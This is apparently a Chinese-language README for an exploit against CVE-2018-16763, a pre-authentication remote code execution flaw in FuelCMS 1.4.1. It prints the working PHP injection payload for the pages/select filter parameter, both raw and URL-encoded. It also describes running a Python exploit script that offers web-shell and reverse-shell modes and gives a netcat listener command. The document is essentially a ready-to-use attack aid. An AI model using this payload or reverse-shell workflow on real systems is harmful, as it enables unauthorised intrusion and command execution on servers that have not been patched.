FuelCMS 1.4.1 允许通过 pages/select/ 的 filter 参数或 preview/ 的 data 参数进行 PHP 代码执行,这可能导致预认证远程代码执行。
其工作原理是利用 PHP 的 filter 参数,该参数允许您使用 system 函数发送任意命令。
然后对载荷进行混淆:
'+pi(print($a='system'))+$a('<YOUR COMMAND HERE>')+'
因此看起来大致是这样的:
http://<TARGET>/fuel/pages/select/?filter='+pi(print($a='system'))+$a('<YOUR COMMAND HERE>')+'
然后对所有字符进行 URL 编码:
http://<TARGET>/fuel/pages/select/?filter=%27%2Bpi%28print%28%24a%3D%27system%27%29%29%2B%24a%28%27%3CYOUR%20COMMAND%20HERE%3E%27%29%2B%27
感谢 Omer Citak 发现此漏洞。
使用 python3 cve-2018-16763.py 运行漏洞利用程序
您可以输入 1 选择 Web-Shell,或输入 2 选择 Reverse-Shell
对于 Web-Shell,您只需提供您的 TARGET URL:

设置监听器:nc -lvnp <PORT>
运行漏洞利用程序并提供以下信息:
成功获取 Shell。
